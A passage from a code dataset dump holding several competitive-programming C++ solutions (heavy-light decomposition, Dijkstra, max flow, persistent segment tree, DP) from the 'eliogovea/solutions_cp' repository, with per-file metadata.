<bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 50005;\r\n\r\nint n, q, x, y, z;\r\nvector <int> g[N];\r\nint val[N];\r\nint parent[N], depth[N], size[N], chain[N], heavy[N], head[N];\r\n\r\nstruct ST {\r\n\tint n;\r\n\tvector <int> chain;\r\n\tvector <int> tree;\r\n\tST() {}\r\n\tST(vector <int> &_chain) {\r\n\t\tchain = _chain;\r\n\t\tn = chain.size();\r\n\t\ttree = vector <int>(4 * n, 0);\r\n\t\tbuild(1, 1, n);\r\n\t}\r\n\tvoid build(int x, int l, int r) {\r\n\t\tif (l == r) {\r\n\t\t\ttree[x] = chain[l - 1];\r\n\t\t} else {\r\n\t\t\tint mid = (l + r) >> 1;\r\n\t\t\tbuild(2 * x, l, mid);\r\n\t\t\tbuild(2 * x + 1, mid + 1, r);\r\n\t\t\ttree[x] = __gcd(tree[2 * x], tree[2 * x + 1]);\r\n\t\t}\r\n\t}\r\n\tvoid update(int x, int l, int r, int p, int v) {\r\n\t\tif (p > r || p < l) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (l == r) {\r\n\t\t\ttree[x] = v;\r\n\t\t} else {\r\n\t\t\tint mid = (l + r) >> 1;\r\n\t\t\tupdate(2 * x, l, mid, p, v);\r\n\t\t\tupdate(2 * x + 1, mid + 1, r, p, v);\r\n\t\t\ttree[x] = __gcd(tree[2 * x], tree[2 * x + 1]);\r\n\t\t}\r\n\t}\r\n\tvoid update(int p, int v) {\r\n\t\tupdate(1, 1, n, p, v);\r\n\t}\r\n\tint query(int x, int l, int r, int ql, int qr) {\r\n\t\tif (l > qr || r < ql) {\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\tif (l >= ql && r <= qr) {\r\n\t\t\treturn tree[x];\r\n\t\t}\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tint q1 = query(2 * x, l, mid, ql, qr);\r\n\t\tint q2 = query(2 * x + 1, mid + 1, r, ql, qr);\r\n\t\treturn __gcd(q1, q2);\r\n\t}\r\n\tint query(int ql, int qr) {\r\n\t\treturn query(1, 1, n, ql, qr);\r\n\t}\r\n};\r\n\r\nvector <ST> chains;\r\n\r\nvoid dfs(int u, int p, int d) {\r\n\tparent[u] = p;\r\n\tdepth[u] = d;\r\n\theavy[u] = -1;\r\n\tsize[u] = 1;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (v != p) {\r\n\t\t\tdfs(v, u, d + 1);\r\n\t\t\tsize[u] += size[v];\r\n\t\t\tif (heavy[u] == -1 || size[heavy[u]] < size[v]) {\r\n\t\t\t\theavy[u] = v;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid hld() {\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tdepth[i] = -1;\r\n\t\tparent[i] = -1;\r\n\t}\r\n\tdfs(0, -1, 0);\r\n\tchains.clear();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (i == 0 || heavy[parent[i]] != i) {\r\n\t\t\tvector <int> v;\r\n\t\t\tfor (int j = i; j != -1; j = heavy[j]) {\r\n\t\t\t\tv.push_back(val[j]);\r\n\t\t\t\tchain[j] = chains.size();\r\n\t\t\t\thead[j] = i;\r\n\t\t\t\t//cout << j << \" \";\r\n\t\t\t}\r\n\t\t\t//cout << \"\\n\";\r\n\t\t\tchains.push_back(ST(v));\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid update(int u, int x) {\r\n\tchains[chain[u]].update(depth[u] - depth[head[u]] + 1, x);\r\n}\r\n\r\nint query(int u, int v) {\r\n\tint res = 0;\r\n\twhile (chain[u] != chain[v]) {\r\n\t\tif (depth[head[u]] > depth[head[v]]) {\r\n\t\t\tres = __gcd(res, chains[chain[u]].query(1, depth[u] - depth[head[u]] + 1));\r\n\t\t\tu = parent[head[u]];\r\n\t\t} else {\r\n\t\t\tres = __gcd(res, chains[chain[v]].query(1, depth[v] - depth[head[v]] + 1));\r\n\t\t\tv = parent[head[v]];\r\n\t\t}\r\n\t}\r\n\tif (depth[u] > depth[v]) {\r\n\t\tres = __gcd(res, chains[chain[u]].query(depth[v] - depth[head[v]] + 1, depth[u] - depth[head[u]] + 1));\r\n\t} else {\r\n\t\tres = __gcd(res, chains[chain[v]].query(depth[u] - depth[head[u]] + 1, depth[v] - depth[head[v]] + 1));\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\twhile (cin >> n) {\r\n for (int i = 0; i < n; i++) {\r\n g[i].clear();\r\n }\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> val[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < n - 1; i++) {\r\n\t\t\tcin >> x >> y;\r\n\t\t\tg[x].push_back(y);\r\n\t\t\tg[y].push_back(x);\r\n\t\t}\r\n\t\thld();\r\n\r\n\r\n\t\tcin >> q;\r\n\t\twhile (q--) {\r\n\t\t\tcin >> x >> y >> z;\r\n\t\t\tif (x == 1) {\r\n\t\t\t\tcout << query(y, z) << \"\\n\";\r\n\t\t\t} else {\r\n\t\t\t\tupdate(y, z);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4684601128101349, "alphanum_fraction": 0.5120593905448914, "avg_line_length": 16.586206436157227, "blob_id": "51c1bc9854ae167ee2d1ecd3f66f9b57856d588e", "content_id": "65d8b8b9f6443a1e6c73a24b76d0c7b446d26807", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1078, "license_type": "no_license", "max_line_length": 87, "num_lines": 58, "path": "/COJ/eliogovea-cojAC/eliogovea-p2547-Accepted-s549246.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<queue>\r\n#define MAXN 1010\r\nusing namespace std;\r\n\r\ntypedef pair<int,pair<int,int> >pp;\r\n\r\nconst int mov[4][2]={1,0,0,1,-1,0,0,-1};\r\n\r\nint n;\r\nchar map[MAXN][MAXN];\r\nint dist[MAXN][MAXN],x1,x2,y1,y2;\r\nbool mark[MAXN][MAXN];\r\n\r\npriority_queue<pp,vector<pp>,greater<pp> > Q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\",&n);\r\n\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\tscanf(\"%s\",map[i]+1);\r\n\t\tfor(int j=1; j<=n; j++)\r\n\t\t\tdist[i][j]=1<<29;\r\n\t}\r\n\tscanf(\"%d%d%d%d\",&x1,&y1,&x2,&y2);\r\n\r\n\tdist[x1][y1]=0;\r\n\tQ.push(make_pair(0,make_pair(x1,y1)));\r\n\r\n\twhile(!Q.empty())\r\n\t{\r\n\t\tint d=Q.top().first;\r\n\t\tint x=Q.top().second.first;\r\n\t\tint y=Q.top().second.second;\r\n\r\n\t\tQ.pop();\r\n\r\n\t\tif(mark[x][y])continue;\r\n\t\tmark[x][y]=1;\r\n\r\n\t\tfor(int r=0; r<4; r++)\r\n\t\t{\r\n\t\t\tint nx=x+mov[r][0];\r\n\t\t\tint ny=y+mov[r][1];\r\n\t\t\tint cal=((map[nx][ny]-'0')-(map[x][y]-'0') > 0)?(map[nx][ny]-'0')-(map[x][y]-'0'):0;\r\n\r\n\t\t\tif(d + cal < dist[nx][ny])\r\n\t\t\t{\r\n\t\t\t\tdist[nx][ny]=d+cal;\r\n\t\t\t\tQ.push(make_pair(dist[nx][ny],make_pair(nx,ny)));\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n printf(\"%d\\n\",dist[x2][y2]);\r\n}\r\n" }, { "alpha_fraction": 0.26433122158050537, "alphanum_fraction": 0.29936304688453674, "avg_line_length": 23.513513565063477, "blob_id": "8ef9f8d28e2586904cc26a69481dc6a87c3d6a5c", "content_id": "b270ab24710afc47923dca5cd4e5f1842c256bbd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 942, "license_type": "no_license", "max_line_length": 82, "num_lines": 37, "path": "/COJ/eliogovea-cojAC/eliogovea-p3193-Accepted-s784235.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int mod = 1e9 + 7;\r\nconst int N = 2000;\r\n\r\nint add(int &a, int b) {\r\n a = (a + b) % mod;\r\n}\r\n\r\nint a, b, c;\r\nint dp[N + 5][N + 5][2];\r\n\r\nint main() {\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n cin >> a >> b >> c;\r\n dp[1][1][0] = 1;\r\n dp[1][0][1] = (c > 0);\r\n\r\n for (int i = 1; i <= a + b; i++) {\r\n for (int j = 0; j <= a; j++) {\r\n for (int k = 0; k <= 1; k++) {\r\n //cout << i << \" \" << j << \" \" << k << \" \" << dp[i][j][k] << \"\\n\";\r\n if (j + 1 <= a) {\r\n add(dp[i + 1][j + 1][0], dp[i][j][k]);\r\n }\r\n if ((i - j) + 1 <= b && ( c + j - (i - j) > 0 )) {\r\n add(dp[i + 1][j][1], dp[i][j][k]);\r\n }\r\n }\r\n }\r\n }\r\n cout << (dp[a + b][a][0] + dp[a + b][a][1]) % mod << \"\\n\";\r\n}" }, { "alpha_fraction": 0.3385702967643738, "alphanum_fraction": 0.38805970549583435, "avg_line_length": 18.58461570739746, "blob_id": "8bb8e14832cccb53f9dd3bc97e667677a15922f8", "content_id": "e0a39555e8cf8ab4fd69c5a15e5be441e84e9850", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1273, "license_type": "no_license", "max_line_length": 64, "num_lines": 65, "path": "/Codeforces-Gym/101173 - 2016-2017 ACM-ICPC, Central Europe Regional Contest (CERC 16)/A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Central Europe Regional Contest (CERC 16)\n// 101173A\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint r, c;\nstring s[200];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> r >> c;\n\tfor (int i = 0; i < r; i++) {\n\t\tcin >> s[i];\n\t}\n\tchar x = s[0][0];\n\tint a, b;\n\tfor (int i = 1; i < r; i++) {\n\t\tif (s[i][0] == x && s[i][1] == x) {\n\t\t\ta = i - 1;\n\t\t\tbreak;\n\t\t}\n\t}\n\tfor (int i = 1; i < c; i++) {\n\t\tif (s[0][i] == x && s[1][i] == x) {\n\t\t\tb = i - 1;\n\t\t\tbreak;\n\t\t}\n\t}\n\tset <string> S;\n\tfor (int i = 1; i < r; i += a + 1) {\n\t\tfor (int j = 1; j < c; j += b + 1) {\n\t\t\tstring s1, s2, s3, s4;\n\t\t\tfor (int ii = 0; ii < a; ii++) {\n\t\t\t\tfor (int jj = 0; jj < b; jj++) {\n\t\t\t\t\ts1 += s[i + ii][j + jj];\n\t\t\t\t}\n\t\t\t\ts1 += '$';\n\t\t\t}\n\t\t\tfor (int jj = b - 1; jj >= 0; jj--) {\n\t\t\t\tfor (int ii = 0; ii < a; ii++) {\n\t\t\t\t\ts2 += s[i + ii][j + jj];\n\t\t\t\t}\n\t\t\t\ts2 += '$';\n\t\t\t}\n\t\t\tfor (int ii = a - 1; ii >= 0; ii--) {\n\t\t\t\tfor (int jj = b - 1; jj >= 0; jj--) {\n\t\t\t\t\ts3 += s[i + ii][j + jj];\n\t\t\t\t}\n\t\t\t\ts3 += '$';\n\t\t\t}\n\t\t\tfor (int jj = 0; jj < b; jj++) {\n\t\t\t\tfor (int ii = a - 1; ii >= 0; ii--) {\n\t\t\t\t\ts4 += s[i + ii][j + jj];\n\t\t\t\t}\n\t\t\t\ts4 += '$';\n\t\t\t}\n\t\t\tS.insert(min(s1, min(s2, min(s3, s4))));\n\t\t}\n\t}\n\tcout << S.size() << \"\\n\";\n}\n" }, { "alpha_fraction": 0.38997820019721985, "alphanum_fraction": 0.4172113239765167, "avg_line_length": 17.53191566467285, "blob_id": "874eca58282b9b62df5c865fe20c8df63deceb78", "content_id": "08455856f279237a27a4ffe31109debe18668747", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1836, "license_type": "no_license", "max_line_length": 58, "num_lines": 94, "path": "/COJ/eliogovea-cojAC/eliogovea-p3808-Accepted-s1120076.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000 * 1000;\r\nconst int Q = 1000 * 1000;\r\nconst int SIZE = 4 * N + 20 * N;\r\n\r\nint a[N + 10], b[N + 10];\r\n\r\nstruct node {\r\n\tint val;\r\n\tint l, r;\r\n} all[SIZE];\r\n\r\nint size;\r\nint root[N + 10];\r\n\r\nint build(int l, int r) {\r\n\tint x = size++;\r\n\tall[x].val = 0;\r\n\tall[x].l = -1;\r\n\tall[x].r = -1;\r\n\tif (l != r) {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tall[x].l = build(l, mid);\r\n\t\tall[x].r = build(mid + 1, r);\r\n\t}\r\n\treturn x;\r\n}\r\n\r\nint update(int x, int l, int r, int p, int v) {\r\n\tall[size] = all[x];\r\n\tx = size++;\r\n\tif (l == r) {\r\n\t\tall[x].val += v;\r\n\t} else {\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tif (p <= mid) {\r\n\t\t\tall[x].l = update(all[x].l, l, mid, p, v);\r\n\t\t} else {\r\n\t\t\tall[x].r = update(all[x].r, mid + 1, r, p, v);\r\n\t\t}\r\n\t\tall[x].val = all[all[x].l].val + all[all[x].r].val;\r\n\t}\r\n\treturn x;\r\n}\r\n\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n // freopen(\"dat.txt\", \"r\", stdin);\r\n\tint n, q;\r\n\twhile (cin >> n >> q) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tb[i] = a[i];\r\n\t\t}\r\n\t\tsort(b, b + n);\r\n\t\tint cnt = unique(b, b + n) - b;\r\n\t\tsize = 0;\r\n\t\troot[0] = build(0, cnt - 1);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n a[i] = lower_bound(b, b + cnt, a[i]) - b;\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\troot[i] = update(root[i - 1], 0, cnt - 1, a[i - 1], 1);\r\n\t\t}\r\n\t\twhile (q--) {\r\n\t\t\tint l, r, k;\r\n\t\t\tcin >> l >> r >> k;\r\n\t\t\tint lo = 0;\r\n\t\t\tint hi = cnt - 1;\r\n\t\t\tint pl = root[l - 1];\r\n\t\t\tint pr = root[r];\r\n\t\t\twhile (lo < hi) {\r\n\t\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\t\tint cntl = all[all[pr].l].val - all[all[pl].l].val;\r\n\t\t\t\tif (cntl >= k) {\r\n\t\t\t\t\thi = mid;\r\n\t\t\t\t\tpl = all[pl].l;\r\n\t\t\t\t\tpr = all[pr].l;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tk -= cntl;\r\n\t\t\t\t\tlo = mid + 1;\r\n\t\t\t\t\tpl = all[pl].r;\r\n\t\t\t\t\tpr = all[pr].r;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tcout << b[lo] << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4633431136608124, "alphanum_fraction": 0.4692082107067108, "avg_line_length": 16.94444465637207, "blob_id": "72538606f5280a7e315172515bf610967d6ba0ff", "content_id": "e34d1f884a9b50d296001a2c85da1d78daca8b66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 341, "license_type": "no_license", "max_line_length": 46, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p2365-Accepted-s668081.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nbool mark['Z' + 5];\r\nstring s;\r\nchar sol;\r\n\r\nint main() {\r\n\tcin >> s;\r\n\tfor (int i = 0; s[i]; i++) mark[s[i]] = true;\r\n\tif (!mark['A']) sol = 'A';\r\n\telse if (!mark['C']) sol = 'C';\r\n\telse if (!mark['G']) sol = 'G';\r\n\telse if (!mark['T']) sol = 'T';\r\n\telse sol = 'A';\r\n\tcout << sol << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4019639790058136, "alphanum_fraction": 0.4189852774143219, "avg_line_length": 15.761628150939941, "blob_id": "2319e3575f8bef7357c6e7c2ddd3a1506625507b", "content_id": "4d5732f1acfcc972db315b0bb11748099878df03", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3055, "license_type": "no_license", "max_line_length": 54, "num_lines": 172, "path": "/COJ/eliogovea-cojAC/eliogovea-p1765-Accepted-s938050.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e9;\r\nconst int MAXV = 250;\r\nconst int MAXE = 2 * MAXV * MAXV;\r\n\r\nint source;\r\nint sink;\r\nint tnodes;\r\nint tedges;\r\nint from[MAXE];\r\nint to[MAXE];\r\nint cap[MAXE];\r\nint flow[MAXE];\r\nint next[MAXE];\r\nint last[MAXV];\r\nint now[MAXV];\r\nint depth[MAXV];\r\n\r\nint Q[MAXV], qh, qt; // queue\r\n\r\ninline void addEdge(int a, int b, int c) {\r\n\tfrom[tedges] = a;\r\n\tto[tedges] = b;\r\n\tcap[tedges] = c;\r\n\tflow[tedges] = 0;\r\n\tnext[tedges] = last[a];\r\n\tlast[a] = tedges++;\r\n\tfrom[tedges] = b;\r\n\tto[tedges] = a;\r\n\tcap[tedges] = 0;\r\n\tflow[tedges] = 0;\r\n\tnext[tedges] = last[b];\r\n\tlast[b] = tedges++;\r\n}\r\n\r\nbool bfs() {\r\n\tfor (int i = 0; i < tnodes; i++) {\r\n\t\tdepth[i] = -1;\r\n\t}\r\n\tdepth[source] = 0;\r\n\tqh = qt = 0;\r\n\tQ[qt++] = source;\r\n\twhile (qh != qt) {\r\n\t\tint u = Q[qh++];\r\n\t\tfor (int e = last[u]; e != -1; e = next[e]) {\r\n\t\t\tif (cap[e] > flow[e]) {\r\n\t\t\t\tint v = to[e];\r\n\t\t\t\tif (depth[v] == -1) {\r\n\t\t\t\t\tdepth[v] = depth[u] + 1;\r\n\t\t\t\t\tQ[qt++] = v;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn (depth[sink] != -1);\r\n}\r\n\r\nint dfs(int u, int f) {\r\n\tif (u == sink) {\r\n\t\treturn f;\r\n\t}\r\n\tfor (int e = now[u]; e != -1; e = now[u] = next[e]) {\r\n\t\tif (cap[e] > flow[e]) {\r\n\t\t\tint v = to[e];\r\n\t\t\tif (depth[v] == depth[u] + 1) {\r\n\t\t\t\tint ff = min(f, cap[e] - flow[e]);\r\n\t\t\t\tint push = dfs(v, ff);\r\n\t\t\t\tif (push > 0) {\r\n\t\t\t\t\tflow[e] += push;\r\n\t\t\t\t\tflow[e ^ 1] -= push;\r\n\t\t\t\t\treturn push;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn 0;\r\n}\r\n\r\nint maxFlow() {\r\n\tint res = 0;\r\n\twhile (bfs()) {\r\n\t\tfor (int i = 0; i < tnodes; i++) {\r\n\t\t\tnow[i] = last[i];\r\n\t\t}\r\n\t\twhile (true) {\r\n\t\t\tint tmp = dfs(source, INF);\r\n\t\t\tif (tmp == 0) {\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tres += tmp;\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint t;\r\nint n;\r\nint a[MAXV];\r\nstring s[MAXV];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tint total = 0;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\ttotal += a[i];\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> s[i];\r\n\t\t}\r\n\t\ttnodes = 2 * n + 2;\r\n\t\tsource = 2 * n;\r\n\t\tsink = 2 * n + 1;\r\n\t\tint lo = 1;\r\n\t\tint hi = total;\r\n\t\tint ans = 0;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\ttedges = 0;\r\n\t\t\tfor (int i = 0; i < tnodes; i++) {\r\n\t\t\t\tlast[i] = -1;\r\n\t\t\t}\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\taddEdge(source, i, a[i]);\r\n\t\t\t}\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\t\tif (s[i][j] == 'Y') {\r\n\t\t\t\t\t\taddEdge(i, n + j, a[i]);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\taddEdge(i, n + i, a[i]);\r\n\t\t\t}\r\n\t\t\tint need = 0;\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tif (a[i] == 0) {\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t\tbool borde = false;\r\n\t\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\t\tif (s[i][j] == 'Y' && a[j] == 0) {\r\n\t\t\t\t\t\tborde = true;\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif (borde) {\r\n\t\t\t\t\taddEdge(n + i, sink, mid);\r\n\t\t\t\t\tneed += mid;\r\n\t\t\t\t} else {\r\n\t\t\t\t\taddEdge(n + i, sink, 1);\r\n\t\t\t\t\tneed++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (maxFlow() == need) {\r\n\t\t\t\tans = mid;\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t} else {\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.31413209438323975, "alphanum_fraction": 0.3494623601436615, "avg_line_length": 22.25, "blob_id": "0ba74f9164f52439ca4103906180aa4ec4e3a7cc", "content_id": "77b7e782003ac0b4e88d95c5268b8a5327207060", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1302, "license_type": "no_license", "max_line_length": 98, "num_lines": 56, "path": "/Codeforces-Gym/101138 - 2016-2017 CT S03E07: Codeforces Trainings Season 3 Episode 7 - HackerEarth Problems Compilation/E.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E07: Codeforces Trainings Season 3 Episode 7 - HackerEarth Problems Compilation\n// 101138E\n\n#include <bits/stdc++.h>\n\nusing namespace std;\nint w[500], h[500];\nbool mk[5000];\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n // freopen( \"dat.txt\", \"r\", stdin );\n int tc;\n cin >> tc;\n while( tc-- ){\n int n;\n cin >> n;\n\n for( int i = 0; i < n; i++ )\n cin >> w[i];\n for( int i = 0; i < n; i++ )\n cin >> h[i];\n int idm = 0;\n for( int i = 0; i < n; i++ )\n if( h[idm] < h[i] )\n idm = i;\n\n int top = w[0]*h[idm];\n swap( h[0], h[idm] );\n sort( w+1, w+n, greater<int>() );\n sort( h+1, h+n );\n fill( mk, mk+n+1, 0 );\n\n bool ok = true;\n for( int i = 1; i < n && ok; i++ ){\n int j = 1, ss = -1;\n while( true ){\n if( !mk[j] && w[i]*h[j] < top )\n ss = j;\n if( w[i]*h[j] >= top )\n break;\n j++;\n }\n if( ss == -1 ){\n ok = false;\n break;\n }\n mk[ss] = true;\n }\n if( ok )\n cout << \"YES\\n\";\n else\n cout << \"NO\\n\";\n }\n\n}\n" }, { "alpha_fraction": 0.3120567500591278, "alphanum_fraction": 0.39361703395843506, "avg_line_length": 15.625, "blob_id": "ee55ab3e23176bf4377cb9cceeb582abb53a798a", "content_id": "528f0f657ec6e4de772d6484804b7ca693d8dcbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 282, "license_type": "no_license", "max_line_length": 47, "num_lines": 16, "path": "/COJ/eliogovea-cojAC/eliogovea-p1046-Accepted-s532632.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint dp[1000],c,a,b;\r\n\r\nint main()\r\n{\r\n for(int i=1; i<=1000; i++)\r\n dp[i]=(i*(i+1)*(i+2)+dp[i-1])%100;\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n scanf(\"%d%d\",&a,&b);\r\n printf(\"%d\\n\",(dp[b]-dp[a-1]+100)%100);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3884026110172272, "alphanum_fraction": 0.4179431200027466, "avg_line_length": 18.311111450195312, "blob_id": "d84fdca713e0fd6a56606331d95de66e94fe316c", "content_id": "cdca282bb218d2bf06e62d6b7d3121d9bb1b94cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 914, "license_type": "no_license", "max_line_length": 64, "num_lines": 45, "path": "/COJ/eliogovea-cojAC/eliogovea-p2558-Accepted-s490316.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\nusing namespace std;\r\nconst int MAX=1000001;\r\nbool sieve[MAX];\r\nint sd[MAX],k[MAX],c,a,b,f,sol[MAX][14];\r\n\r\nvector<int> p;\r\n\r\nint main()\r\n{\r\n for(int i=2; i<MAX; i++)sieve[i]=1;\r\n\r\n for(int i=2; i*i<MAX; i++)\r\n if(sieve[i])\r\n for(int j=i*i; j<MAX; j+=i)sieve[j]=0;\r\n\r\n for(int i=2; i<MAX; i++)if(sieve[i])p.push_back(i);\r\n\r\n for(int i=0; i<p.size(); i++)\r\n for(int j=2*p[i]; j<MAX; j+=p[i])sd[j]+=p[i];\r\n\r\n for(int i=2; i<MAX; i++)\r\n {\r\n int j=i;\r\n while(j)\r\n {\r\n k[i]++;\r\n j=sd[j];\r\n }\r\n }\r\n\r\n\r\n for(int i=2; i<MAX; i++)\r\n for(int j=0; j<=12; j++)sol[i][j]=sol[i-1][j]+(k[i]==j);\r\n\r\n scanf(\"%d\",&c);\r\n while(c--)\r\n {\r\n scanf(\"%d%d%d\",&a,&b,&f);\r\n if(f>12)printf(\"0\\n\");\r\n else printf(\"%d\\n\",sol[b][f]-sol[a-1][f]);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.4074873924255371, "alphanum_fraction": 0.43556514382362366, "avg_line_length": 20.770492553710938, "blob_id": "549f4604ecfb4d1f7fcebd9aa63881fecf860136", "content_id": "82f383c55d6a090a0b450d3bb78db02a82a4e3e6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1389, "license_type": "no_license", "max_line_length": 116, "num_lines": 61, "path": "/COJ/eliogovea-cojAC/eliogovea-p3305-Accepted-s904546.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nconst long long INF = 1e16;\r\n\r\nint n, k;\r\nlong long x[N];\r\nlong long sx[N];\r\nlong long dp[3][N];\r\nint pos[3][N];\r\n\r\ninline long long cost(int l, int r) {\r\n\tint p = (l + r) >> 1;\r\n\treturn x[p] * (long long)(p - l + 1LL) - (sx[p] - sx[l - 1]) + sx[r] - sx[p - 1] - x[p] * (long long)(r - p + 1LL);\r\n}\r\n\r\nvoid solve(int cur, int l, int r, int pl, int pr) {\r\n\tif (l > r) return;\r\n\tint mid = (l + r) >> 1;\r\n\tfor (int i = pl; i <= pr && i < mid; i++) {\r\n\t\tif (dp[cur][mid] == -1 || dp[cur][mid] > dp[cur ^ 1][i] + cost(i + 1, mid)) {\r\n\t\t\tdp[cur][mid] = dp[cur ^ 1][i] + cost(i + 1, mid);\r\n\t\t\tpos[cur][mid] = i;\r\n\t\t}\r\n\t}\r\n\tsolve(cur, l, mid - 1, pl, pos[cur][mid]);\r\n\tsolve(cur, mid + 1, r, pos[cur][mid], pr);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\twhile (cin >> n >> k) {\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tcin >> x[i];\r\n\t\t}\r\n\t\tsort(x + 1, x + n + 1);\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tsx[i] = sx[i - 1] + x[i];\r\n\t\t}\r\n\t\tint cur = 0;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tdp[cur][i] = cost(1, i);\r\n\t\t\tpos[cur][i] = 0;\r\n\t\t}\r\n\t\tlong long ans = dp[cur][n];\r\n\t\tfor 